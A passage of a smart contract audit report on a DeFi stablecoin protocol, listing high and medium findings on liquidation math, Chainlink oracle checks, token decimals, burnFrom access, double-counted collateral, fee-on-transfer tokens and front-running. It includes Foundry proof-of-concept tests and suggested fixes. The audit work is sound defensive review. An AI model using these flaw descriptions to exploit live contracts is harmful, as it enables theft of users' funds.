    dsce.depositCollateralAndMintDsc(wbtc, amountWethToDeposit, amountDscToMint);

    // WBTC crashes in its price will be $0
    int256 wbtcUsdPriceAfterCrash = 0;
    MockV3Aggregator(btcUsdPriceFeed).updateAnswer(wbtcUsdPriceAfterCrash);

    // Now, a liquidator tries to liquidate $100 of Alice's debt, and it will be reverted.
    vm.expectRevert();
    vm.startPrank(liquidator);
    dsce.liquidate(weth, user, amountDscToMint);
    vm.stopPrank();

    // The liquidator tries to liquidate $94.5 of Alice's debt, and it will be reverted.
    uint256 maxValueToLiquidate = 94.5e18;
    vm.expectRevert();
    vm.startPrank(liquidator);
    dsce.liquidate(weth, user, maxValueToLiquidate);
    vm.stopPrank();
}

Tools Used

Manual Review

Recommendations

When the health factor is between 100 to 110%, make the liquidation bonus to the maximum possible amount, not the fix amount of 1.1 * liqudationAmount. You can do that by adding the following code to the liquidate() function befre calling _redeemCollateral():

uint256 totalDepositedCollateral = s_collateralDeposited[user][collateral];
if (tokenAmountFromDebtCovered < totalDepositedCollateral && totalCollateralToRedeem > totalDepositedCollateral) {
    totalCollateralToRedeem = totalDepositedCollateral;
}

H-03. There is no incentive to liquidate small positions

Submitted by kutu, rvierdiiev, arnie. Selected submission by: arnie.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L229-L262

Summary

there is no incentive to liquidate low value accounts such as 5$ usd value accounts because of gas cost

Vulnerability Details

Liquidators liquidate users for the profit they can make. If there is no profit to be made than there will be no one to call the liquidate function. For example an account has 6$ worth of collateral and has 4 DSC minted. This user is undercollateralized and must be liquidated in order to ensure that the protocol remains overcollateralized. Because the value of the account is so low, after gas costs, liquidators will not make a profit liquidating this user. In the end these low value accounts will never get liquidating, leaving the protocol with bad debt and can even cause the protocol to be undercollateralized with enough small value accounts being underwater.

Impact

The protocol can be undercollateralized potentially not allowing users to redeem their DSC for its value, complete loss of funds.

Tools Used

manual review

Recommendations

A potential fix could be to only allow users to mint DSC if their collateral value is past a certain threshold.

H-04. Business Logic: Protocol Liquidation Arithmetic

Submitted by 0xRstStn, usmanfarooq90, 0xPublicGoods. Selected submission by: 0xPublicGoods.

Summary

The protocol mints a stable coin based on the value of collateral tokens it accepts. The only way to mint this stable coin is through this contract.

To liquidate a users position in order to save the protocol from holding bad debt, the liquidator needs to pay back the dsc owed by the user that has a position at risk.

In order for the liquidator to get this dsc, they would need to mint new dsc from the contract. But the math does not work out.

With a Liquidation Bonus of 10% and an Over Collateralization Rate of 200%, a liquidator will always have their own collateral stuck in the protocol after liquidating a user.

This happens even if the liquidator is able to use the redeemed collateral to mint new dsc and pay back the users debt - should a way for this to be done atomically be available.

This also happens if they are able to purchase it or flashloan it from a dex or other venue prior to calling liquidate.

The math simply does not work.

Vulnerability Details

The Liquidation Incentives and the Collateralization Rate make it near impossible to liquidate any under collateralized positions without being the newest user of the protocol, whose position is now also at risk because the dsc has been spent.

Impact

Liquidators would not call liquidate. The protocol would suffer insolvency in adverse market conditions due to no liquidations taking place.

Furthermore, users after having done their homework may not want to enter the protocol at all due to its design of needing to have all debt returned in dsc - and without other incentives at play, dsc will probably be converted into an alternative token and we will have dsc dust forever in the wild, never to be able to redeem collateral again.

Tools Used

Manual Review

Recommendations

These are not all connected, but possibly can be:

  1. Design some incentives for users to keep using dsc and not sell it, so that they may be able to redeem their collateral.
  2. Make the collateralization rate and the liquidation bonus arithmetically incentivised so as to allow re-entrancy for a flash loan type of atomic mint within the protocol.
  3. Allow an alternative stable coin to be used for repayment should dsc not be available.
  4. Allow a flashmint feature in the Decentralised Stablecoin Contract for no fee, but limited to the value of the redeemed Collateral held at time of flashmint and pay back.

Medium Risk Findings

M-01. staleCheckLatestRoundData() does not check the status of the Arbitrum sequencer in Chainlink feeds.

Submitted by Madalad, LaScaloneta, StErMi, crippie, T1MOH, 33audits, Niki, zaevlad, ss3434, pengun, ABA, 0x3b, sm4rty, aviggiano, Phantasmagoria, BenRai, 0xRizwan, Polaristow, TeamFliBit, chainNue, tsvetanovv, Bauchibred, Bauer, Shogoki, twcctop, 0x9527, AlexCzm, 0xMosh, pep7siup, MrjoryStewartBaxter, Juntao, Crunch, pks27, RugpullDetector, siguint, mau, CircleLooper, BLACK PANDA REACH, serialcoder, paspe, JMTT, honeymewn, ni8mare, natzuu, Avci, tsar, owade, 0xdeadbeef. Selected submission by: MrjoryStewartBaxter.

Summary

Given that the contract will be deployed on any EVM chain, when utilizing Chainlink in L2 chains like Arbitrum, it's important to ensure that the prices provided are not falsely perceived as fresh particularly in scenarios where the sequencer might be non-operational. Hence, a critical step involves confirming the active status of the sequencer before trusting the data returned by the oracle.

Vulnerability Details

In the event of an Arbitrum Sequencer outage, the oracle data may become outdated, potentially leading to staleness. While the function staleCheckLatestRoundData() provides checks if a price is stale, it does not check if Arbirtrum Sequencer is active. Since OracleLib.sol library is used to check the Chainlink Oracle for stale data, it is important to add this verification. You can review Chainlink docs on L2 Sequencer Uptime Feeds for more details on this. https://docs.chain.link/data-feeds/l2-sequencer-feeds

Impact

In the scenario where the Arbitrum sequencer experiences an outage, the protocol will enable users to maintain their operations based on the previous (stale) rates.

Tools Used

Manual Review

Recommendations

There is a code example on Chainlink docs for this scenario: https://docs.chain.link/data-feeds/l2-sequencer-feeds#example-code. For illustrative purposes this can be:

function isSequencerAlive() internal view returns (bool) {
    (, int256 answer, uint256 startedAt,,) = sequencer.latestRoundData();
    if (block.timestamp - startedAt <= GRACE_PERIOD_TIME || answer == 1)
        return false;
    return true;
}


function staleCheckLatestRoundData(AggregatorV3Interface priceFeed)
        public
        view
        returns (uint80, int256, uint256, uint256, uint80)
    {
require(isSequencerAlive(), "Sequencer is down");
       ....//remaining parts of the function

M-02. DSC protocol can consume stale price data or cannot operate on some EVM chains

Submitted by kutu, dacian, AcT3R, 0xAxe, StErMi, pacelliv, Breeje, sobieski, T1MOH, n1punp, crippie, Polaristow, alymurtazamemon, rvierdiiev, ss3434, aviggiano, BenRai, P12473, chainNue, t0x1c, devival, Bauchibred, Shogoki, Y403L, pina, cRat1st0s, aak, golanger85, BLACK PANDA REACH, serialcoder, iroh, ni8mare, Kresh. Selected submission by: serialcoder.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/libraries/OracleLib.sol#L19

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/libraries/OracleLib.sol#L30

Summary

The stale period (3 hours) is too large for Ethereum, Polygon, BNB, and Optimism chains, leading to consuming stale price data. On the other hand, that period is too small for Arbitrum and Avalanche chains, rendering the DSC protocol unable to operate.

Vulnerability Details

In the OracleLib library, the TIMEOUT constant is set to 3 hours. In other words, the staleCheckLatestRoundData() would consider the price data fed by Chainlink's price feed aggregators to be stale only after the last update time has elapsed 3 hours.

Since the DSC protocol supports every EVM chain (confirmed by the client), let's consider the ETH / USD oracles on different chains.

On some chains such as Ethereum, Polygon, BNB, and Optimism, 3 hours can be considered too large for the stale period, causing the staleCheckLatestRoundData() to return stale price data.

Whereas, on some chains, such as Arbitrum and Avalanche, 3 hours is too small. Specifically, if the DSC protocol is deployed to Arbitrum or Avalanche, the protocol will be unable to operate because the "if (secondsSince > TIMEOUT)" condition will be met, causing a transaction to be reverted in the staleCheckLatestRoundData().

    // ...SNIPPED...
	
@>  uint256 private constant TIMEOUT = 3 hours; // 3 * 60 * 60 = 10800 seconds

    function staleCheckLatestRoundData(AggregatorV3Interface priceFeed)
        public
        view
        returns (uint80, int256, uint256, uint256, uint80)
    {
        (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound) =
            priceFeed.latestRoundData();

        uint256 secondsSince = block.timestamp - updatedAt;
@>      if (secondsSince > TIMEOUT) revert OracleLib__StalePrice();

        return (roundId, answer, startedAt, updatedAt, answeredInRound);
    }

Impact

Setting the stale period (TIMEOUT constant) too large could lead to incorrect reporting of prices of collateral tokens. The incorrect prices can cause the DSC protocol's functions (e.g., mintDsc(), burnDsc(), redeemCollateral(), and liquidate()) to operate incorrectly, affecting the protocol's disruption.

On the other hand, setting the stale period too small could render the DSC protocol unable to operate.

Tools Used

Manual Review

Recommendations

Even on the same chain, different collateral tokens can have different heartbeats (the period to update the price data on chain). For instance, the heartbeat for the DAI / USD oracle on Ethereum is ~1 hour, whereas the heartbeat for the USDT / USD oracle on the same chain is ~24 hours.

Thus, I recommend using the mapping data type to record the TIMEOUT parameter of each collateral token and setting each token's TIMEOUT with an appropriate stale period.

Furthermore, I also recommend adding a setter function for updating the stale period of each specific collateral token.

M-03. Chainlink oracle will return the wrong price if the aggregator hits minAnswer

Submitted by kutu, dacian, nmirchev8, akhilmanga, t0x1c, 0xNiloy, AcT3R, Polaristow, 0xSafeGuard, 0xAxe, Phantasmagoria, LaScaloneta, Vagner, Matin, 0xSmartContract, jprod15, crippie, T1MOH, Daniel526, gaslimit, 0xdeth, cholakov, alymurtazamemon, Niki, boredpukar, 33audits, degensec, rvierdiiev, Dliteofficial, 0x0115, ZedBlockchain, 0x3b, ABA, sm4rty, MaanVader, 0xRizwan, larsson, 0xhuy0512, Dharma, Bbash, said017, TeamFliBit, ZanyBonzy, devival, tsvetanovv, 0xtotem, 0x9527, jonatascm, Aamirusmani1552, chaos304, 0xMosh, warRoom, pina, SBSecurity, No12Samurai, Juntao, pks27, 0xbugalba, 0xsandy, smbv1923, serialcoder, fouzantanveer, Deathstore, klaus, vic43, Tripathi, ni8mare, nervouspika, xfu, Avci, alexzoid, tsar. Selected submission by: Aamirusmani1552.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/tree/main

Summary

Chainlink aggregators have a built-in circuit breaker if the price of an asset goes outside of a predetermined price band.

The result is that if an asset experiences a huge drop in value (i.e. LUNA crash) the price of the oracle will continue to return the minPrice instead of the actual price of the asset and vice versa.

Vulnerability Details

The staleCheckLatestRoundData function in OracleLib.sol is only checking for the stale price. But no checks are done to handle that.

 function staleCheckLatestRoundData(AggregatorV3Interface priceFeed)
        public
        view
        returns (uint80, int256, uint256, uint256, uint80)
    {
        (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound) =
            priceFeed.latestRoundData();

        uint256 secondsSince = block.timestamp - updatedAt;
        if (secondsSince > TIMEOUT) revert OracleLib__StalePrice();

        return (roundId, answer, startedAt, updatedAt, answeredInRound);
    }

[21]

There is no function for checking only this as well in the library. The checks are not done in DSCEngine.sol file. There are two instances of that:

        (, int256 price,,,) = priceFeed.staleCheckLatestRoundData();

[345]

        (, int256 price,,,) = priceFeed.staleCheckLatestRoundData();

[363]

Impact

This would allow users to continue mintDsc, burnDsc etc. but at the wrong price. This is exactly what happened to Venus on BSC when LUNA crashed.

Tools Used

chainlink docs, foundry test and previous audit reports

Recommendations

Consider using the following checks:

(uint80, int256 answer, uint, uint, uint80) = oracle.latestRoundData();

// minPrice check
require(answer > minPrice, "Min price exceeded");
// maxPrice check
require(answer < maxPrice, "Max price exceeded");

Also some gas could be saved when used revert with custom error for doing the check.

M-04. All of the USD pair price feeds doesn't have 8 decimals

Submitted by BAHOZ, dacian, nmirchev8, Madalad, LaScaloneta, sobieski, 0xAadhi, jprod15, Lalanda, lian886, nisedo, crippie, jonatascm, pengun, alymurtazamemon, jnrlouis, 0x0115, sm4rty, ADM, 0xhuy0512, TeamFliBit, Polaristow, Bauchibred, 0xtotem, neocrao, pacelliv, SBSecurity, mahyar, cRat1st0s, aak, serialcoder, Tripathi, ni8mare, Kresh, tsar. Selected submission by: mahyar.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L340-L348

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L361-L367

Summary

DSCEngine contract assumes all of the USD pair chinlink price feeds have 8 decimals but there are certain token's USD feed has a different decimals

Vulnerability Details

In the getTokenAmountFromUsd and getUsdValue functions price of tokens are calculated with chainlink price feeds and the function assumed that all of USD pairs has 8 decimals but there are certain tokens which they have different decimals.

For example AMPL / USD feed has 18 decimals

So if some tokens's price feed has not 8 decimals it will break a lots of things in the contract

Impact

Since returned value of this two functions is used for health factor and liquidation process it will cause loss of funds for users and protocol

Tools Used

Manual Analysis

Recommendations

Consider calling decimals() function on the price feed contract to get the correct decimals and calculate the value based on the returned decimals

    function getTokenAmountFromUsd(address token, uint256 usdAmountInWei) public view returns (uint256) {
        // price of ETH (token)
        // $/ETH ETH ??
        // $2000 / ETH. $1000 = 0.5 ETH
        AggregatorV3Interface priceFeed = AggregatorV3Interface(s_priceFeeds[token]);
        (, int256 price,,,) = priceFeed.staleCheckLatestRoundData();
        
+       uint8 decimals = priceFeed.decimals();
+       uint256 priceWithDecimals = (uint256(price) * 1e18) / (10 ** decimals);

-       return (usdAmountInWei * PRECISION) / (uint256(price) * ADDITIONAL_FEED_PRECISION);
+       return (usdAmountInWei * PRECISION) / priceWithDecimals;        
    }


    function getUsdValue(address token, uint256 amount) public view returns (uint256) {
        AggregatorV3Interface priceFeed = AggregatorV3Interface(s_priceFeeds[token]);
        (, int256 price,,,) = priceFeed.staleCheckLatestRoundData();
        // 1 ETH = $1000
        // The returned value from CL will be 1000 * 1e8
+       uint8 decimals = priceFeed.decimals();
+       uint256 priceWithDecimals = (uint256(price) * 1e18) / (10 ** decimals);
-       return ((uint256(price) * ADDITIONAL_FEED_PRECISION) * amount) / PRECISION;
+       return (priceWithDecimals * amount) / PRECISION;
    }

M-05. Anyone can burn DecentralizedStableCoin tokens with burnFrom function

Submitted by BAHOZ, LaScaloneta, HollaDieWaldfee, Bughunter101, Rotcivegaf, ABA, ljj, TorpedopistolIxc41, lwltea, TheSchnilch, Qiezie, klaus, Tripathi, alexzoid, warRoom. Selected submission by: Rotcivegaf.

Summary

Anyone can burn DSC tokens with burnFrom function inherited of OZ ERC20Burnable contract

Vulnerability Details

In the DecentralizedStableCoin contract the burn function is onlyOwner and is used by DSCEngine contract, which is the owner of DecentralizedStableCoin contract

Impact

The tokens can be burned with burnFrom function bypassing the onlyOwner modifier of the burn functions

Recommendations

Block the burnFrom function of OZ ERC20Burnable contract

@@ -40,6 +40,7 @@ contract DecentralizedStableCoin is ERC20Burnable, Ownable {
     error DecentralizedStableCoin__MustBeMoreThanZero();
     error DecentralizedStableCoin__BurnAmountExceedsBalance();
     error DecentralizedStableCoin__NotZeroAddress();
+    error DecentralizedStableCoin__BlockFunction();

     constructor() ERC20("DecentralizedStableCoin", "DSC") {}

@@ -54,6 +55,10 @@ contract DecentralizedStableCoin is ERC20Burnable, Ownable {
         super.burn(_amount);
     }

+    function burnFrom(address, uint256) public pure override {
+        revert DecentralizedStableCoin__BlockFunction();
+    }
+
     function mint(address _to, uint256 _amount) external onlyOwner returns (bool) {
         if (_to == address(0)) {
             revert DecentralizedStableCoin__NotZeroAddress();

M-06. Double-spending vulnerability leads to a disruption of the DSC token

Submitted by StErMi, 1nc0gn170, 0xAxe, warRoom, Y403L, RugpullDetector, serialcoder, pontifex, klaus. Selected submission by: serialcoder.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L120

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L353-L357

Summary

There is a double-spending vulnerability in the DSCEngine contract, leading to a disruption of the DSC token.

Vulnerability Details

While constructing the DSCEngine contract, the whitelisted collateral tokens will be registered along with their corresponding price feed addresses. However, the registration process does not verify that a token cannot be registered twice.

For instance, assume that the ETH address is inputted in the array tokenAddresses twice, the ETH address will also be pushed into the array s_collateralTokens twice.

    constructor(address[] memory tokenAddresses, address[] memory priceFeedAddresses, address dscAddress) {
        // USD Price Feeds
        if (tokenAddresses.length != priceFeedAddresses.length) {
            revert DSCEngine__TokenAddressesAndPriceFeedAddressesMustBeSameLength();
        }
        // For example ETH / USD, BTC / USD, MKR / USD, etc
        for (uint256 i = 0; i < tokenAddresses.length; i++) {
            s_priceFeeds[tokenAddresses[i]] = priceFeedAddresses[i];
@>          s_collateralTokens.push(tokenAddresses[i]);
        }
        i_dsc = DecentralizedStableCoin(dscAddress);
    }

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L120

Subsequently, when the contract executes the getAccountCollateralValue() to compute users' collateral value, the function will process on the ETH address twice. In other words, if a user/attacker deposits 10 ETH as collateral, the getAccountCollateralValue() will return 20 ETH (in USD value), leading to a double-spending issue.

    function getAccountCollateralValue(address user) public view returns (uint256 totalCollateralValueInUsd) {
        // loop through each collateral token, get the amount they have deposited, and map it to
        // the price, to get the USD value
@>      for (uint256 i = 0; i < s_collateralTokens.length; i++) {
@>          address token = s_collateralTokens[i];
@>          uint256 amount = s_collateralDeposited[user][token];
@>          totalCollateralValueInUsd += getUsdValue(token, amount);
@>      }
        return totalCollateralValueInUsd;
    }

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L353-L357

Impact

With this double-spending vulnerability, an attacker can deposit ETH to double their collateral value and then mint DSC tokens over the limit (breaking the protocol's health factor invariant).

As a result, the DSCEngine contract will eventually be insolvent, and the DSC token will then be depegged to $0.

Tools Used

Manual Review

Recommendations

To fix the vulnerability, I recommend adding the require(s_priceFeeds[tokenAddresses[i]] == address(0), "Collateral token was already set"); to guarantee that there could not be any token ever registered twice.

    constructor(address[] memory tokenAddresses, address[] memory priceFeedAddresses, address dscAddress) {
        // USD Price Feeds
        if (tokenAddresses.length != priceFeedAddresses.length) {
            revert DSCEngine__TokenAddressesAndPriceFeedAddressesMustBeSameLength();
        }
        // For example ETH / USD, BTC / USD, MKR / USD, etc
        for (uint256 i = 0; i < tokenAddresses.length; i++) {
+           require(s_priceFeeds[tokenAddresses[i]] == address(0), "Collateral token was already set");
            s_priceFeeds[tokenAddresses[i]] = priceFeedAddresses[i];
            s_collateralTokens.push(tokenAddresses[i]);
        }
        i_dsc = DecentralizedStableCoin(dscAddress);
    }

M-07. Lack of fallbacks for price feed oracle

Submitted by dacian, kutu, pacelliv, LaScaloneta, JohnLaw, 0xSmartContract, crippie, 0x0115, Polaristow, 97Sabit, iurii2002, BenRai, 0xRizwan, P12473, t0x1c, TeamFliBit, Bauchibred, Bauer, AlexCzm, sashiketh, serialcoder, alexzoid, 0xPublicGoods. Selected submission by: serialcoder.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/libraries/OracleLib.sol#L26-L27

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/libraries/OracleLib.sol#L30

Summary

The DSC protocol does not implement fallback solutions for price feed oracle. In case Chainlink's aggregators fail to update price data, the protocol will refuse to liquidate users' positions, leading to the protocol's disruption.

Vulnerability Details

The DSC protocol utilizes the staleCheckLatestRoundData() for querying price data of collateral tokens through Chainlink's price feed aggregators. Nonetheless, if Chainlink's aggregators fail to update the price data, the DSC protocol will not be able to operate. In other words, the function will revert transactions since the received price data become stale.

    function staleCheckLatestRoundData(AggregatorV3Interface priceFeed)
        public
        view
        returns (uint80, int256, uint256, uint256, uint80)
    {
@>      (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound) =
@>          priceFeed.latestRoundData();

        uint256 secondsSince = block.timestamp - updatedAt;
@>      if (secondsSince > TIMEOUT) revert OracleLib__StalePrice();

        return (roundId, answer, startedAt, updatedAt, answeredInRound);
    }

Impact

Without fallback solutions, the DSC protocol will be unable to operate if Chainlink's aggregators fail to update price data.

Consider the scenario that Chainlink's aggregators fail to update price data and collateral tokens' prices dramatically go down, the DSC protocol will refuse to liquidate users' positions. Consequently, the protocol will become insolvent eventually, leading to the protocol's disruption.

Tools Used

Manual Review

Recommendations

I recommend implementing fallback solutions, such as using other off-chain oracle providers and/or on-chain Uniswap's TWAP, for feeding price data in case Chainlink's aggregators fail.

M-08. Too many DSC tokens can get minted for fee-on-transfer tokens.

Submitted by GoSoul22, Bobface, Madalad, Breeje, 33audits, rvierdiiev, Dliteofficial, toshii, ADM, Phantasmagoria, P12473, Bauchibred, t0x1c, said017, tsvetanovv, ptsanev, ZanyBonzy, alymurtazamemon, RugpullDetector, No12Samurai, golanger85, Deathstore, Kose, Tripathi, xfu, alexzoid, Kresh, mau, tsar, owade. Selected submission by: Bobface.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L149-L161

Summary

The DSCEngine contract overcalculates the collateral when operating with fee-on-transfer tokens, which can lead to too many DSC tokens being minted.

Vulnerability Details

The competition description mentions that while the first use-case for the system will be a WETH/WBTC backed stablecoin, the system is supposed to generally work with any collateral tokens. If one or more collateral tokens are fee-on-transfer tokens, i.e., when transferring X tokens, only X - F tokens arrive at the recipient side, where F denotes the transfer fee, depositors get credited too much collateral, meaning more DSC tokens can get minted, which leads to a potential depeg.

The root cause is the depositCollateral function in DSCEngine:

function depositCollateral(address tokenCollateralAddress, uint256 amountCollateral)
        public
        moreThanZero(amountCollateral)
        isAllowedToken(tokenCollateralAddress)
        nonReentrant
    {
        s_collateralDeposited[msg.sender][tokenCollateralAddress] += amountCollateral;
        emit CollateralDeposited(msg.sender, tokenCollateralAddress, amountCollateral);
        bool success = IERC20(tokenCollateralAddress).transferFrom(msg.sender, address(this), amountCollateral);
        if (!success) {
            revert DSCEngine__TransferFailed();
        }
    }

As can be seen in line

bool success = IERC20(tokenCollateralAddress).transferFrom(msg.sender, address(this), amountCollateral);

the contract assumes that the full amountCollateral is received, which might not be the case with fee-on-transfer tokens.

Impact

When the contract operates with fee-on-transfer tokens as collateral, too many DSC tokens can get minted based on the overcalculated collateral, potentially leading to a depeg.

Tools Used

None

Recommendations

Check the actual amount of received tokens:

function depositCollateral(address tokenCollateralAddress, uint256 amountCollateral)
        public
        moreThanZero(amountCollateral)
        isAllowedToken(tokenCollateralAddress)
        nonReentrant
    {
        uint256 balanceBefore = IERC20(tokenCollateralAddress).balanceOf(address(this));
        bool success = IERC20(tokenCollateralAddress).transferFrom(msg.sender, address(this), amountCollateral);
        uint256 balanceAfter = IERC20(tokenCollateralAddress).balanceOf(address(this));
        amountCollateral = balanceAfter - balanceBefore;
        if (!success) {
            revert DSCEngine__TransferFailed();
        }
        s_collateralDeposited[msg.sender][tokenCollateralAddress] += amountCollateral;
        emit CollateralDeposited(msg.sender, tokenCollateralAddress, amountCollateral);
    }

M-09. liquidate does not allow the liquidator to liquidate a user if the liquidator HF < 1

Submitted by nisedo, StErMi, pacelliv, sobieski, JohnnyTime, rvierdiiev, iurii2002, 0x9527, 0xDanielH, Kresh. Selected submission by: StErMi.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L261

Summary

The liquidate function does not allow the liquidator to liquidate the borrower if the liquidatorHF < 1.

By liquidating a user, the liquidator is using his own funds that do not impact the liquidator HF directly.

Because the function reverts, the system is preventing a user's to perform an action that should be able to do.

Vulnerability Details

The liquidate function does not allow the liquidator to liquidate the borrower if the liquidatorHF < 1.

By liquidating a user, the liquidator is using his own funds that do not impact the liquidator HF directly.

Because the function reverts, the system is preventing a user's to perform an action that should be able to do.

Impact

A liquidator cannot liquidate a user's debt when the liquidator's HF is below 1. The system is preventing a user to perform an action that does not impact his own HF.

Tools Used

Manual + foundry test

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import {DSCEngine} from "../../src/DSCEngine.sol";
import {DecentralizedStableCoin} from "../../src/DecentralizedStableCoin.sol";
import {HelperConfig} from "../../script/HelperConfig.s.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {Test, console} from "forge-std/Test.sol";
import {StdCheats} from "forge-std/StdCheats.sol";
import {MockV3Aggregator} from "../mocks/MockV3Aggregator.sol";

contract CannotLiquidateWhenHFTest is StdCheats, Test {
    DSCEngine public dsce;
    DecentralizedStableCoin public dsc;
    HelperConfig public helperConfig;

    address[] public tokenAddresses;
    address[] public priceFeedAddresses;

    address public ethUsdPriceFeed;
    address public btcUsdPriceFeed;
    address public weth;
    address public wbtc;
    uint256 public deployerKey;

    uint256 amountCollateral = 10 ether;
    uint256 amountToMint = 100 ether;
    address public user = address(1);

    uint256 public constant STARTING_USER_BALANCE = 10 ether;
    uint256 public constant MIN_HEALTH_FACTOR = 1e18;
    uint256 public constant LIQUIDATION_THRESHOLD = 50;


    function setUp() external {
        helperConfig = new HelperConfig();

        (ethUsdPriceFeed, btcUsdPriceFeed, weth, wbtc, deployerKey) = helperConfig.activeNetworkConfig();

        tokenAddresses = [weth, wbtc];
        priceFeedAddresses = [ethUsdPriceFeed, btcUsdPriceFeed];

        dsc = new DecentralizedStableCoin();
        dsce = new DSCEngine(tokenAddresses, priceFeedAddresses, address(dsc));

        dsc.transferOwnership(address(dsce));

        if (block.chainid == 31337) {
            vm.deal(user, STARTING_USER_BALANCE);
        }
        
        ERC20Mock(weth).mint(user, STARTING_USER_BALANCE);
        ERC20Mock(wbtc).mint(user, STARTING_USER_BALANCE);
    }

function testLiquidateRevertIfLiquidatorHFBelow() public {
        vm.startPrank(user);
        ERC20Mock(weth).approve(address(dsce), amountCollateral);
        dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
        vm.stopPrank();

        // liquidator 
        address liquidator = makeAddr("liquidator");
        ERC20Mock(weth).mint(liquidator, STARTING_USER_BALANCE);

        vm.startPrank(liquidator);
        ERC20Mock(weth).approve(address(dsce), amountCollateral);
        dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
        vm.stopPrank();

        // now let's say that price goes down
        int256 ethUsdUpdatedPrice = 18e8; // 1 ETH = $18

        MockV3Aggregator(ethUsdPriceFeed).updateAnswer(ethUsdUpdatedPrice);
        assertLt(dsce.getHealthFactor(user), 1e18);
        assertLt(dsce.getHealthFactor(liquidator), 1e18);


        // Liquidator try to liquidate 1 wei of user's debt but it will revert because of the check
        vm.startPrank(liquidator);
        dsc.approve(address(dsce), 1 ether);

        // system revert because `liquidator` has HF < 1
        vm.expectRevert();
        dsce.liquidate(weth, user, 1 ether);
        vm.stopPrank();


        vm.startPrank(liquidator);

        // Liquidator supply 1000 ether and supply them to have HF > 1
        ERC20Mock(weth).mint(liquidator, 1000 ether);
        ERC20Mock(weth).approve(address(dsce), 1000 ether);
        dsce.depositCollateral(weth, 1000 ether);

        
        uint256 liquidatorHFBefore = dsce.getHealthFactor(liquidator);
        assertGe(liquidatorHFBefore, 1e18);

        // perform liquidation again and prove that HF of liquidator does not change because of the liquidation itself
        dsc.approve(address(dsce), 1 ether);
        dsce.liquidate(weth, user, 1 ether);

        // The liquidator is using his own funds that do not impact the liquidator HF
        assertEq(dsce.getHealthFactor(liquidator), liquidatorHFBefore);
        vm.stopPrank();
    }
}

Recommendations

The system should remove the check _revertIfHealthFactorIsBroken(msg.sender); in the liquidate() function, allowing a liquidator to always be able to liquidate a borrower.

M-10. Protocol can break for a token with a proxy and implementation contract (like TUSD)

Submitted by Madalad, 33audits, rvierdiiev, t0x1c, Kose. Selected submission by: t0x1c.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L112

Summary

Tokens whose code and logic can be changed in future can break the protocol and lock user funds.

Vulnerability Details

For a token like TUSD (supported by Chainlink TUSD/USD price feed), which has a proxy and implementation contract, if the implementation behind the proxy is changed, it can introduce features which break the protocol, like choosing to not return a bool on transfer(), or changing the balance over time like a rebasing token.

Impact

Protocol may break in future for this collateral and block user funds deposited as collateral. Also can cause bad loans to be present with no way to liquidate them.

Tools Used

Manual review

Recommendations

  • Developers integrating with upgradable tokens should consider introducing logic that will freeze interactions with the token in question if an upgrade is detected. (e.g. the TUSD adapter used by MakerDAO).
  • OR have a token whitelist which does not allow such tokens.

M-11. Liquidators can be front-run to their loss

Submitted by Bauer, pina, 0xSwahili. Selected submission by: 0xSwahili.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L229

Summary

DSC liquidators are prone to oracle price manipulations and MEV front-run attacks

Vulnerability Details

Sudden token price changes caused by oracle price manipulations and MEV front-run can cause liquidators to get less than expected collateral tokens.

Impact

Liquidators stand to earn less than expected collateral tokens for deposited DSC

Tools Used

Manual review

Recommendations

Function liquidate should have an input parameter uint256 minimumOutputTokens and the function should revert at Ln 253 if

require(totalCollateralToRedeem >= minimumOutputTokens, "Too little collateral received.");  

M-12. DoS of full liquidations are possible by frontrunning the liquidators

Submitted by Tricko.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L229-L262

